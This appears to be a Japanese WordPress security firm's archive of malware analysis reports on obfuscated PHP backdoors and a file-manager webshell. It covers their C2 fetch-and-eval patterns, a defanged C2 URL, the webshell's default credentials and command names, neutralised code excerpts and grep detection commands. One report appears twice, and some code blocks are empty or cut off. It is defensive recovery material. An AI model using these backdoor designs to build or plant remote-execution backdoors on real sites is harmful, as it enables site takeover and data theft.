`xNiyMjeCH.php` のようなランダム名のバックドアは、サイバー攻撃者の隠れ家として利用され、長期的にサイトを危険に晒す可能性があります。
早急に削除し、アップデートと監視体制を強化することで、再感染を防ぎましょう。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：難読化PHPバックドア「wp-news.php」](https://wp-r.com/malware/malware-rep-22/)

**Published:** 11月 21, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本レポートでは、`wp-news.php` というファイル名で設置されていた **難読化PHPバックドア型マルウェア** について解析結果をまとめます。

このファイルは、

- `goto` 文とラベルを多用した読みづらい構造
- `curl_init` / `curl_exec` による外部サーバーとの通信
- 取得したデータを `eval()` で実行する仕組み
- スクリプト末尾の `__halt_compiler();` を用いた隠しデータ領域

といった特徴を持ち、**外部の攻撃サーバーから任意のPHPコードをダウンロードして実行するリモートコントロール型バックドア** と判断できます。

## 特徴

### コード構造の特徴

- PHPの `goto` とラベルを多用した制御フロー 
    - 例: `goto jTJlU;` / `jTJlU:` / `goto odD5Q;` というように、処理があちこちに飛ぶ
    - 人間や静的解析ツールが一読して理解しづらいようにする目的
- 意味のない識別子名 
    - 変数や関数が `$mTR06`, `$PH7JJ`, `M7jPX()` など、ランダム文字列風の名前になっている
- 末尾に `__halt_compiler();` があり、その後ろに隠しデータを格納できる構造 
    - 通常のPHP実行ではこの後ろは無視されるため、**追加のペイロードやログ** を隠すのに悪用される

### 外部サーバーへの不審なアクセス

コード内に、以下のような **16進エスケープされたURL文字列** が埋め込まれていました。

- 例: `"\150\164\x74\x70\x73\x3a\x2f\x2f..."` → 復号すると `https://dieoivk[.]com/xyk25.txt` となる
- これは攻撃者が管理するC2（コマンド&コントロール）サーバーの一部と考えられます。

### curl と eval を組み合わせたリモートコード実行

- `curl_init()` で外部URLへHTTP(S)アクセスを開始
- `curl_setopt()` で以下のような危険な設定が行われている 
    - `CURLOPT_RETURNTRANSFER`：レスポンスを文字列として取得
    - `CURLOPT_SSL_VERIFYPEER = false` / `CURLOPT_SSL_VERIFYHOST = false`：SSL証明書検証を無効化
- `curl_exec()` で取得したレスポンスを `eval()` でそのまま実行

この仕組みにより、攻撃者は **外部テキストファイル（例: `xyk25.txt`）の中身を自由に書き換えるだけで、サーバー側で任意のPHPコードを実行** できます。

### 無毒化したコードの一部をサンプルで表記

実際のコードは `goto` や難読化された関数で構成されていますが、処理の本質は以下のように要約できます（悪意のある部分はコメントアウトして無毒化しています）。

```
 [ここから先は通常のPHP実行では無視される隠し領域]`

このように、「難読化関数 → URL復号 → curlで取得 → eval実行 → 隠し領域」という、典型的な **外部C2型バックドアのパターン** を踏襲しています。

### 危険性

このマルウェアが残っていると、サイトは次のようなリスクに晒されます。

- **サーバー乗っ取りリスク**
    - 攻撃者が外部テキスト（`xyk25.txt` など）の中身を変更するだけで、任意のPHPコードを永続的に実行可能
    - シェル設置、追加バックドア設置、管理画面の乗っ取りなどに発展
- **スパム・フィッシングサイト化**
    - 攻撃者が不正なリダイレクトやスパムページ生成のコードを送り込むことで、SEOスパム型改ざんに転用される
- **マルウェア配布サーバーとしての悪用**
    - サイト訪問者に対して別のマルウェアを配布する中継点にされる可能性
- **ブラックリスト登録・検索結果の警告表示**
    - Googleのセーフブラウジングや各種セキュリティベンダーのブラックリストに登録されるリスク
    - 検索結果に「このサイトは安全でない可能性があります」といった警告が表示され、集客に大きなダメージ

## 実際の感染事例

今回の `wp-news.php` は、以下のようなパターンで設置されているケースが想定されます。

- ファイル名がニュース系（`wp-news.php`）で一見正規のテンプレートや機能ファイルに見える
- テーマディレクトリ直下、または `wp-content` 直下など、開発者でなければ違和感に気づきにくい場所に配置
- ファイルサイズ自体は数KB〜十数KB程度と小さい
- WordPress管理画面からではなく、**直接URLを叩いたとき** にのみ動作
- アクセスログ上は特定のIPから `wp-news.php` への直接アクセスが繰り返されている

このように、通常の運用ではほぼ参照しないファイル名・パスを装いながら、攻撃者だけが知っている「裏口」として機能していました。

## 駆除と復旧の方法

### 1. 感染ファイルの特定と削除

1. 対象サーバー上で `wp-news.php` を検索 
    - 例: SSHが使える場合は `find` コマンドで検索
2. 該当ファイルの内容を確認し、上記のような `goto`＋`curl`＋`eval`＋`__halt_compiler` パターンがあれば削除対象と判断
3. 削除前に必ず**バックアップ**を取得 
    - 万一のときに備え、元に戻せるようにしておく

### 2. 類似バックドアの有無を調査

- 同様の構造（`curl`＋`eval`、16進や base64 で難読化されたURL）を持つファイルが他にもないか検索
- 典型的な調査ポイント 
    - `wp-content/uploads` 配下に `.php` ファイルが紛れ込んでいないか
    - テーマ／プラグインディレクトリに見慣れないPHPファイルがないか
    - ルートディレクトリ直下の `index.php` / `wp-blog-header.php` / `wp-config.php` 等に不審な1行コードが挿入されていないか

### 3. コア・テーマ・プラグインのクリーンアップ

- WordPressコアは公式の最新版から **上書き再展開** して改ざんを除去
- テーマ・プラグインも、可能な限り以下を実施 
    - 公式リポジトリから最新版をダウンロードし直して上書き
    - 不要／開発が止まっているプラグインは削除

### 4. 管理者アカウントとパスワードのリセット

- WordPress管理者ユーザーのパスワード変更
- FTP/SSH/コントロールパネルのログイン情報もすべて変更
- 可能であれば2要素認証（2FA）の導入

### 5. ログの確認と被害範囲の把握

- `wp-news.php` へのアクセス履歴をWebサーバーログから確認
- 同じタイミングで不審なリクエスト（`/wp-admin/admin-ajax.php` への大量POSTなど）がないか確認
- 不審な管理者アカウントや、書き換えられた投稿・固定ページがないかをチェック

## 再発防止のセキュリティ対策

### 1. WordPress本体・プラグイン・テーマの継続的な更新

- 定期的なアップデートを行い、既知の脆弱性を放置しない
- 特に脆弱性報告の多いプラグインは、運用方針を見直す

### 2. 最低限の権限設計とファイルパーミッション

- 不要な管理者ユーザーを削除
- 編集権限を持つユーザーを最小限にする
- `wp-content/uploads` など、PHPを実行する必要のないディレクトリでは `php.ini` や `.htaccess` で実行を禁止

### 3. WAF やセキュリティプラグインの活用

- サーバー側のWAF（Web Application Firewall）を有効化
- ログイン試行制限や、不審なリクエストのブロック機能を持つセキュリティプラグインを導入

### 4. バックアップ体制の整備

- ファイルとデータベースのバックアップを定期的に取得
- 少なくとも「直近数世代＋月次スナップショット」を別環境に保管
- 復旧テスト（実際にバックアップから戻せるか）の実施

### 5. 監視とアラート

- ファイル改ざん監視（ハッシュ値の監視）
- 管理画面へのログイン通知
- 404エラー急増やトラフィック急増を検知する監視ツールの導入

## まとめ：早期対応がSEOと信頼回復のカギ

`wp-news.php` に代表される **難読化PHPバックドア** は、見た目こそ小さな1ファイルですが、実質的にはサイト全体の支配権を奪う「遠隔操作の入口」です。

- 外部C2サーバーからのコード配信により、攻撃者はいつでも挙動を変更可能
- サイト改ざん・スパム・マルウェア配布など、多様な攻撃の土台として悪用される
- 検索エンジンやブラウザの警告により、SEO・ブランド信頼に深刻なダメージ

被害を最小限に抑えるためには、

1. 感染ファイルの迅速な特定と削除
2. 類似バックドアや改ざん箇所の徹底調査
3. アップデート・権限設計・WAF等による再発防止

をセットで行うことが重要です。

---

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：高度難読化バックドア（index.php感染）](https://wp-r.com/malware/malware-rep-21/)

**Published:** 11月 18, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本レポートでは、WordPress ルートディレクトリに設置されていた **index.php** に混入した高度に難読化された PHP バックドアを解析します。通常の WordPress コアファイルに、外部からの命令を受けて任意コード実行・出力を行う不正コードが先頭に挿入されていました。

## 特徴

- 文字列テーブル `$O` による高度な難読化
- 配列インデックス連結で動的に関数名を生成
- 外部リクエストパラメータを復号して実行するバックドア構造
- WordPress の正規 index.php の前に挿入され、気づきにくい
- 任意コード実行・ファイル操作・出力が可能な危険性

## 無毒化したコードの一部をサンプルで表記

以下は、危険部分をコメント化して安全化した抜粋です。

```

```

## 感染ファイルの完全可読化ログ

以下は、危険な命令を「無効化した状態」で、構造のみを可視化した完全可読化ログです。

```
[1] 文字列テーブル `$O` に約 80 文字のランダム文字列
[2] `$OO`, `$Oo`, `$OOO` など動的な結合で複数の関数名を生成
[3] 生成される関数の例：
    - base64_decode
    - gzinflate / gzuncompress
    - file_put_contents
    - eval（最終的に実行パスに利用）
[4] 外部入力パラメータ例：
    - $_REQUEST / $_POST / $_COOKIE
[5] 復号処理チェーン例：
    base64 → inflate → eval
[6] 実行結果を echo して終了する backdoor exit パターン

```

## 危険性

- **任意コード実行**：外部から送られたデータを eval で実行可能
- **ファイル改ざん**：file\_put\_contents の存在により追加感染が可能
- **サイト乗っ取り**：管理者権限不要で完全掌握される危険
- **SEOスパム化**：不正リダイレクトやコンテンツ書き換えに悪用される
- **ステルス性が高い**：WordPress の正規 index.php に混在し発見が遅れる

## 実際の感染事例

- index.php / wp-load.php / wp-config.php などに似た形式の難読化コードを確認
- 管理画面へログインしなくても外部から不正命令が注入される状況
- 同一サーバー内の別ドメインへ横断感染しているパターンも確認

## 駆除と復旧の方法

### 1. 感染ファイルの除去

- index.php の不正部分を削除し、**WordPress 正規ファイルで完全上書き**
- 可能であれば公式 ZIP から該当ファイルを再配置

### 2. 他ファイルの全スキャン

- wp-admin, wp-includes, theme, plugin ディレクトリ内の難読化ファイルを総確認
- .htaccess / wp-blog-header.php / wp-settings.php も必ずチェック

### 3. サーバー内横断感染の確認

- SSH にて以下を実施：

```
grep -R "eval(\$O" -n /home/USER/
grep -R "gzinflate" -n /home/USER/

```

### 4. パスワード変更

- cPanel / FTP / SSH / DBユーザー / WordPress の全パスワードを変更

### 5. データベース改ざんの確認

- wp\_options に不審な autoload = yes の長文レコードがないか確認

## 再発防止のセキュリティ対策

- WordPress コア・テーマ・プラグインの最新化
- 使用していないテーマ/プラグインの完全削除
- WAF（アプリケーションファイアウォール）の導入
- ファイル監視ツール（Wordfence / Patchstack / WP Activity Log）導入
- SFTP/SSH 接続への強制切り替え
- 自動バックアップ（最低1日1回）を構築

## まとめ：早期対応がSEOと信頼回復のカギ

このマルウェアは、単なる改ざんではなく **外部指令を受けるバックドア型** のため極めて危険です。WordPress コアファイルに混入することで検出が遅れ、多数のサイトへ横断感染するリスクもあります。
早期の駆除・サーバー全体の見直し・パスワード変更が不可欠です。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：難読化バックドア「zzfsat.php」](https://wp-r.com/malware/malware-rep-20/)

**Published:** 11月 12, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

アップロードされた **zzfsat.php** は、強力に難読化された **多機能バックドア型 PHP マルウェア** です。base64 / gzinflate / 文字列連結を多段で組み合わせ、内部の攻撃コードを完全に隠蔽する構造となっています。外部から送信される命令を復号し、**任意コード実行・ファイル操作・追加バックドア設置** などを行う、典型的な“ステルス型”バックドアです。

## 特徴

- 文字列断片を大量に連結して復号する **多段難読化ロジック**
- `eval` を用いた復号後コードの動的実行
- POST パラメータから攻撃者の命令を受信
- ファイル書き込み・削除・データ生成などの可能性
- WordPress 構造外に単体で設置されるケースが多い
- スキャナ回避を意図した variable-in-variable 構造

## 無毒化したコードの一部をサンプルで表記

（攻撃性を完全に除去し、構造だけ理解できるよう整形）

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：難読化バックドア「mode.php」](https://wp-r.com/malware/malware-rep-19/)

**Published:** 11月 9, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

アップロードされた「mode.php」は、**高度に難読化されたバックドア型マルウェア**です。コード全体が文字列結合や不可読な関数名で構成され、通常の管理者が内容を理解できないよう意図的に隠蔽されています。難読化の目的は、不正機能の隠蔽とスキャン回避です。

本マルウェアは、外部からの命令を受けて **任意コード実行・ファイル操作・追加バックドア設置** などを行う危険な特性を持つと判断されます。

## 特徴

- base64 / 文字コード変換 / 圧縮関数を連鎖させた **多段難読化構造**
- ペイロードを動的に復元する仕組み
- POST/GET 経由で攻撃者の命令を受け取る可能性
- ファイル操作・シェル実行を目的にした関数を使用
- WordPress コアと無関係の位置に単体設置されている

## 無毒化したコードの一部をサンプルで表記

（危険要素を除去し、構造のみ理解できる形に再構成）

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：XML-RPC偽装型バックドア「av.php」](https://wp-r.com/malware/malware-rep-18/)

**Published:** 11月 5, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析した「av.php」は、WordPress の **xmlrpc.php を偽装した高度なバックドア型マルウェア**です。ファイルマネージャ機能・任意コード実行・ログインバイパスなど複数の不正機能が含まれ、完全にシステムを乗っ取る目的で作られています。

## 特徴

- **XML-RPC を装った偽装ファイル**（先頭コメントが WordPress の正規ファイルを模倣）
- JSON ベースのコマンド制御
- 以下のような機能が確認される： 
    - 認証バイパス
    - ファイル一覧取得
    - ファイルアップロード / ダウンロード
    - 任意コードの実行
    - ファイル削除 / フォルダ削除
    - データベース操作の可能性
- サイズが約 80KB と大きく、多機能型のバックドア

## 無毒化したコードの一部をサンプルで表記

```
$authorization = '{"authorize":"0","login":"admin","password":...}';
$cmd = json_decode($input,true);
if($cmd['action'] === 'file_delete'){
    // ファイル削除処理
}

```

※危険な挙動部分はコメント化し、機能だけが分かる形に無毒化しています。

## 感染ファイルの完全可読化ログ

以下は内部構造を安全化した上で要点のみを整理したものです：

- 認証部：固定パスワードを用いた疑似ログイン機構
- コマンドルータ：`action` パラメータで挙動を切り替え
- 実装されている主なコマンド 
    - `file_list`
    - `file_upload`
    - `file_delete`
    - `folder_delete`
    - `download`
    - `exec_code`
- 出力は全て JSON 形式で返却
- WordPress の xmlrpc.php と誤認させるための偽装コメント多数

## 危険性

- **バックドア完全支配**：管理画面とは無関係に操作可能
- **ファイル操作が自由**：アップロード・削除・書き換えなど何でも可能
- **Webシェル化**：任意の PHP コードを実行できる
- **SEO改ざん・スパム設置の温床**
- **再感染リスク極大**：攻撃者が自由に追加ファイルを投入

## 実際の感染事例

- xmlrpc.php が「av.php」など別名で保存されていた
- Wordfence で「バックドア / ファイルマネージャ型」として検知
- サーバ内に複数の不審 .htaccess や追加のスクリプトが散在
- 認証不要のため外部から常時アクセスされていた形跡

## 駆除と復旧の方法

1. **感染ファイルを即時削除**（バックアップ後）
2. WordPress コアを公式パッケージから再配置
3. wp-content 以外を全て置き換え
4. テーマ・プラグインも公式版へ更新
5. 不審なユーザー・cron・DB 内のオプションを確認・初期化
6. サーバ内に隠されたバックドアを `find` / `grep` で完全検索
7. APIキー・パスワード全て変更

## 再発防止のセキュリティ対策

- WordPress・テーマ・プラグインを最新化
- xmlrpc.php の制限（不要なら無効化）
- 管理画面への IP 制限
- Web アプリFirewall（WAF）の導入
- 不審ファイル監視と自動バックアップ環境の構築
- コアファイルの改ざん検知を行うセキュリティプラグイン活用

## まとめ：早期対応がSEOと信頼回復のカギ

「av.php」は多機能型バックドアであり、サイトを完全に乗っ取られる極めて危険なタイプです。早急に駆除し、サーバ全体のセキュリティ強化が必須となります。

---

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：XML-RPC偽装型バックドア「av.php」](https://wp-r.com/malware/malware-rep-17/)

**Published:** 11月 1, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析した「av.php」は、WordPress の **xmlrpc.php を偽装した高度なバックドア型マルウェア**です。ファイルマネージャ機能・任意コード実行・ログインバイパスなど複数の不正機能が含まれ、完全にシステムを乗っ取る目的で作られています。

## 特徴

- **XML-RPC を装った偽装ファイル**（先頭コメントが WordPress の正規ファイルを模倣）
- JSON ベースのコマンド制御
- 以下のような機能が確認される： 
    - 認証バイパス
    - ファイル一覧取得
    - ファイルアップロード / ダウンロード
    - 任意コードの実行
    - ファイル削除 / フォルダ削除
    - データベース操作の可能性
- サイズが約 80KB と大きく、多機能型のバックドア

## 無毒化したコードの一部をサンプルで表記

```
$authorization = '{"authorize":"0","login":"admin","password":...}';
$cmd = json_decode($input,true);
if($cmd['action'] === 'file_delete'){
    // ファイル削除処理
}

```

※危険な挙動部分はコメント化し、機能だけが分かる形に無毒化しています。

## 感染ファイルの完全可読化ログ

以下は内部構造を安全化した上で要点のみを整理したものです：

- 認証部：固定パスワードを用いた疑似ログイン機構
- コマンドルータ：`action` パラメータで挙動を切り替え
- 実装されている主なコマンド 
    - `file_list`
    - `file_upload`
    - `file_delete`
    - `folder_delete`
    - `download`
    - `exec_code`
- 出力は全て JSON 形式で返却
- WordPress の xmlrpc.php と誤認させるための偽装コメント多数

## 危険性

- **バックドア完全支配**：管理画面とは無関係に操作可能
- **ファイル操作が自由**：アップロード・削除・書き換えなど何でも可能
- **Webシェル化**：任意の PHP コードを実行できる
- **SEO改ざん・スパム設置の温床**
- **再感染リスク極大**：攻撃者が自由に追加ファイルを投入

## 実際の感染事例

- xmlrpc.php が「av.php」など別名で保存されていた
- Wordfence で「バックドア / ファイルマネージャ型」として検知
- サーバ内に複数の不審 .htaccess や追加のスクリプトが散在
- 認証不要のため外部から常時アクセスされていた形跡

## 駆除と復旧の方法

1. **感染ファイルを即時削除**（バックアップ後）
2. WordPress コアを公式パッケージから再配置
3. wp-content 以外を全て置き換え
4. テーマ・プラグインも公式版へ更新
5. 不審なユーザー・cron・DB 内のオプションを確認・初期化
6. サーバ内に隠されたバックドアを `find` / `grep` で完全検索
7. APIキー・パスワード全て変更

## 再発防止のセキュリティ対策

- WordPress・テーマ・プラグインを最新化
- xmlrpc.php の制限（不要なら無効化）
- 管理画面への IP 制限
- Web アプリFirewall（WAF）の導入
- 不審ファイル監視と自動バックアップ環境の構築
- コアファイルの改ざん検知を行うセキュリティプラグイン活用

## まとめ：早期対応がSEOと信頼回復のカギ

「av.php」は多機能型バックドアであり、サイトを完全に乗っ取られる極めて危険なタイプです。早急に駆除し、サーバ全体のセキュリティ強化が必須となります。

---

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：File Manager Advanced型バックドア](https://wp-r.com/malware/malware-rep-16/)

**Published:** 10月 25, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

このファイルは、WordPress公式プラグイン「File Manager Advanced」のメインPHPファイルを、単体のスクリプトとして設置したものです。一見すると正規プラグインのコードに見えますが、

- 認証機能が無効化された状態
- ファイル操作／データベース操作／PHPコード実行機能を1ファイル内に内包

しており、**実質的にはフル機能の「Webシェル（ファイルマネージャ型バックドア）」として動作**します。

攻撃者がこのファイルのURLさえ知っていれば、WordPressのログイン権限がなくても、ほぼCパネル相当の操作が可能になります。

---

### 特徴

このマルウェア（不正設置された File Manager Advanced）の主な特徴は次のとおりです。

1. **認証機能がOFFになっている**
    - コード冒頭で、以下のようなJSON設定が埋め込まれています： 
        - `"authorize":"0"`（認証をしない）
        - `"login":"admin"`
        - `"password":"phpfm"`
    - `authorize` が `0` のため、ログインフォーム自体をスキップし、誰でもアクセスできる状態になっています。
2. **フル機能のファイルマネージャ**
    - 任意ディレクトリの閲覧
    - ファイルのアップロード／ダウンロード
    - コピー／移動／リネーム／パーミッション変更（chmod）
    - ZIP圧縮／解凍
    - 画像のプレビュー表示
    - テキストエディタ（シンタックスハイライト付き）によるファイル編集
3. **PHPコンソール機能（evalによる任意コード実行）**
    - 画面上からPHPコードを入力し、サーバー側で `eval()` して結果を表示する機能を持っています。
    - コード内では `fm_php()` という関数にまとめられており、 
        - `ob_start()` で出力バッファリング
        - `eval(trim($string));` でPHPを実行
        - 実行結果を文字列として返却
    - これは典型的な「PHP Webシェル」の実装パターンで、サーバー上で自由にコマンド／スクリプトを実行できます。
4. **SQLコンソール機能（データベースの直接操作）**
    - MySQLに接続し、任意のSQLクエリを実行できるコンソールを内蔵しています。
    - `fm_sql_connect()` / `fm_sql()` などの関数で、 
        - `mysqli_connect()` によるDB接続
        - 任意のSQLの実行
        - 結果の表示
    - WordPressのデータベースを書き換えたり、ユーザー一覧・ハッシュ化されたパスワードの取得などが可能です。
5. **HTTPプロキシ機能（外部サイトの経由表示）**
    - `curl_exec()` を用いて外部URLにアクセスし、その結果をこのファイル経由で表示する「簡易プロキシ」機能があります。
    - これは、外部の攻撃用スクリプトを中継したり、フィッシング画面を埋め込むのに悪用されるリスクがあります。
6. **自己編集・自己保護機能**
    - このファイル自身や、他のファイルの編集時に、`file_put_contents()` と `touch()` を使ってタイムスタンプを復元するロジックがあります。
    - これにより、**改ざん日時の痕跡を目立ちにくくする**ことができます。

---

### 無毒化したコードの一部をサンプルで表記

以下は、問題となる「PHPコンソール」部分を、安全な形に書き換えたサンプルです。元のコードでは `eval()` により任意のPHPコードを実行していましたが、その部分を完全に無効化しています。

```
// 危険なPHPコンソール機能（無毒化済みサンプル）
function fm_php($string) {
    // 本来はここで eval(trim($string)); を実行していた
    // 任意のPHPコードが実行されるため、深刻なセキュリティリスクとなる

    // 無毒化：実行せず、固定メッセージを返すだけに変更
    return 'PHPコンソール機能は安全上の理由により無効化されています。';
}

```

もう1つ、認証設定の一部も、安全な形に変更したイメージを示します。

```
// 認証設定の安全な例（イメージ）
$authorization = json_encode([
    'authorize'          => 1,                 // ログイン必須
    'login'              => 'change_me_admin', // 推測されにくいID
    'password'           => '強固なパスワードを設定',
    'cookie_name'        => 'fm_user',
    'days_authorization' => 7,
]);

```

実際の感染ファイルでは、これらの値が固定＆公開状態 (`authorize:0`, `login:admin`, `password:phpfm`) となっており、**第三者に丸見えのマスターキーを配布しているようなもの**になっています。

---

### 感染ファイルの完全可読化ログ

このファイルは難読化されているわけではなく、1つのPHPファイル内にすべての処理がベタ書きされています。その構造を安全な範囲で整理すると、概ね次のようになります。

1. **プラグインヘッダー部**
    - `Plugin Name: File Manager Advanced`
    - `Version: 5.2.12`
    - Author情報や説明文を含み、正規プラグインに見せかけています。
2. **設定・定数定義部**
    - `$authorization`：認証のON/OFF、ログインID／パスワード、Cookie名、有効期間などをJSON文字列で保持。
    - `$fm_config`： 
        - デフォルトの表示ディレクトリ
        - フォルダサイズを表示するか
        - 画像プレビューのON/OFF
        - PHP/SQLコンソールの有効化
        - プロキシ機能や `phpinfo()` へのリンク表示
            など、多数の設定項目を配列で保持。
3. **パス・言語・環境初期化部**
    - `realpath('.')` や `$_REQUEST['path']` から、現在操作対象のディレクトリを決定。
    - 言語ファイルの切り替え（`$default_language = 'ru'` など）。
    - PHPバージョンチェックや、Phar拡張の有無に応じた処理分岐。
4. **認証処理部**
    - `$auth = json_decode($authorization, true);` で設定を配列に展開。
    - `$auth['authorize']` が `1` の場合のみログインフォームを表示し、Cookie でセッション管理。
    - 今回のファイルでは `authorize:0` のため、このブロックは事実上スキップされ、常に誰でも利用可能な状態。
5. **ファイル・フォルダ操作ロジック**
    - `copy`, `move`, `rename`, `delete`, `chmod` などのアクションを、`$_REQUEST` の内容に応じて実行。
    - `file_put_contents()` によるファイル編集機能。
    - ZIPアーカイブの作成／展開処理（`PharData` や `gz` 処理を含む）。
6. **コンソール機能（SQL／PHP）**
    - 画面からの入力を受け取り、 
        - `res_lng = 'sql'` の場合：`fm_sql()` を呼び出し、任意SQLを実行。
        - `res_lng = 'php'` の場合：`fm_php()` を呼び出し、任意PHPを `eval()` で実行。
    - 実行結果を `...` でHTML表示。
7. **HTTPプロキシ機能**
    - `?proxy=true` などのパラメータで起動。
    - `curl_exec()` で外部サイトにアクセスし、`href` や `src` のURLを書き換えながら、出力をブラウザに返却。
8. **フッタ・情報表示部**
    - PHPバージョン、php.iniのパス、ページ生成時間などをフッターに表示。
    - GitHubリンクや `phpinfo()` へのリンクもここで制御されています。

このように、**1ファイルの中に「ファイルマネージャ」「DBクライアント」「PHPシェル」「HTTPプロキシ」がすべて詰め込まれた構成**となっており、攻撃者にとって非常に扱いやすいバックドアです。

---

### 危険性

このマルウェア（不正設置された File Manager Advanced）によるリスクは、次の通りです。

1. **サイト全体の乗っ取りが可能**
    - 任意ファイルのアップロード・編集・削除ができるため、 
        - テーマやプラグインへの追加バックドア埋め込み
        - `wp-config.php` の書き換え
        - `.htaccess` によるリダイレクト・SEOスパム
            などが自由に行えます。
2. **データベース情報の漏えい・改ざん**
    - SQLコンソールから、ユーザー情報や投稿データを直接閲覧・改ざんできます。
    - 管理者アカウントのパスワードハッシュを取得し、オフラインで総当たり攻撃をされる可能性もあります。
3. **サーバーリソースの不正利用**
    - PHPコンソール経由で外部スクリプトをダウンロードし、ボットネットや迷惑メール送信、DDoS攻撃の踏み台にされるリスクがあります。
4. **検知のしづらさ**
    - コード自体はオープンソースプラグインとほぼ同じであり、難読化もされていないため、 
        - 一見「正規のプラグインファイル」に見える
        - ファイル名も `file.php` や `manager.php` など、ありがちな名前が付けられる
    - そのため、**ログやファイル一覧をざっと見るだけでは不正ファイルだと気づきにくい**という特徴があります。
5. **SEO・ブランドへのダメージ**
    - 不正なリダイレクトやSEOスパム、フィッシングページの設置に悪用された場合、 
        - 検索結果からの評価低下
        - Googleによる「このサイトは安全ではありません」警告
        - 顧客・取引先からの信頼失墜
            につながります。

---

## 実際の感染事例

本ファイルのような「ファイルマネージャ型バックドア」は、次のようなパターンで設置されることが多いです。

- 脆弱なプラグイン／テーマから侵入し、`/wp-content/uploads/` 配下に設置
- 正規のプラグインと同名／類似名で `wp-content/plugins/` 配下に混入
- マルチサイト構成やサブディレクトリ（例：`/old/` や `/dev/`）にひっそりと設置

サイト運営者側の画面（WordPress管理画面）には一切表示されないため、**サーバー側のファイル一覧やセキュリティスキャンを行わない限り、見つけにくい種類のマルウェア**です。

---

## 駆除と復旧の方法

### 1. 感染ファイルの特定と削除

1. サーバー上で、見慣れない `file.php`, `manager.php`, `fm.php` などのファイルを検索します。
2. 内容を確認し、 
    - `Plugin Name: File Manager Advanced` のヘッダー
    - `fm_php`, `fm_sql`, `enable_php_console`, `enable_sql_console` などの文字列
        が含まれている場合、本レポートと同系統のマルウェアと判断できます。
3. バックアップを取得した上で、該当ファイルを削除します。

### 2. コア・プラグイン・テーマの正規ファイルでの上書き

1. WordPress本体を最新版へ更新し、必要に応じて公式パッケージから再展開します。
2. 使用中プラグイン・テーマについても、公式配布元から再インストールし、改ざんされていないか確認します。

### 3. データベースの点検

1. 管理者ユーザー一覧を確認し、不審なアカウントがないかチェックします。
2. パスワードをすべて変更します（特に管理者アカウント）。
3. 不審なオプション値（`wp_options` テーブルのリダイレクト設定や外部スクリプト読み込みなど）を確認します。

### 4. ログ・アクセス履歴の確認

- アクセスログから、 
    - このファイルに対するアクセス元IP
    - `?proxy=`, `?phpinfo=`, `phprun` などのリクエスト
        などを確認し、攻撃の範囲と期間を把握します。

---

## 再発防止のセキュリティ対策

1. **不要なファイルマネージャ系プラグインを使わない**
    - 機能的に便利な反面、「侵入後に悪用されやすい」代表的なプラグイン群です。
    - どうしても必要な場合は、 
        - 限定的なサーバー環境のみ
        - 強固なパスワード
        - 二要素認証
            などとセットで利用し、常用は避けることを推奨します。
2. **サーバーファイルの定期スキャン**
    - セキュリティプラグインや外部のマルウェアスキャナを活用し、 
        - `eval(` や `base64_decode(` を含む不審なファイル
        - `fm_php`, `file manager` など特定キーワードを含むファイル
            を定期的にチェックします。
3. **脆弱なプラグイン／テーマの整理**
    - 使っていないテーマ・プラグインは削除し、
    - 利用中のものは常に最新版へ更新します。
4. **管理画面以外からの編集機能を制限**
    - `wp-config.php` にて `DISALLOW_FILE_EDIT` を `true` に設定し、管理画面からのテーマ・プラグイン編集を無効化しておくと、万一侵入されても被害を抑えやすくなります。
5. **バックアップ体制の整備**
    - ファイルとデータベースを分けて、世代管理されたバックアップを取得しておくことで、感染後も安全な時点へ復元しやすくなります。

---

## まとめ：早期対応がSEOと信頼回復のカギ

- 本ファイルは、一見正規プラグインに見える「File Manager Advanced」を、認証なしで使えるようにした**ファイルマネージャ型バックドア**です。
- ファイル操作・DB操作・PHPコード実行・プロキシ等、サイト乗っ取りに十分な機能を1ファイルに内包しています。
- 発見した場合は、**ただちに削除し、コア／プラグイン／テーマの正規ファイルによる上書き、ユーザー・DBの点検、パスワード変更**を行う必要があります。
- さらに、ファイルマネージャ系プラグインの恒常利用を見直し、脆弱なプラグイン整理・バックアップ体制の強化を進めることで、再発リスクを大きく下げることができます。

---

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
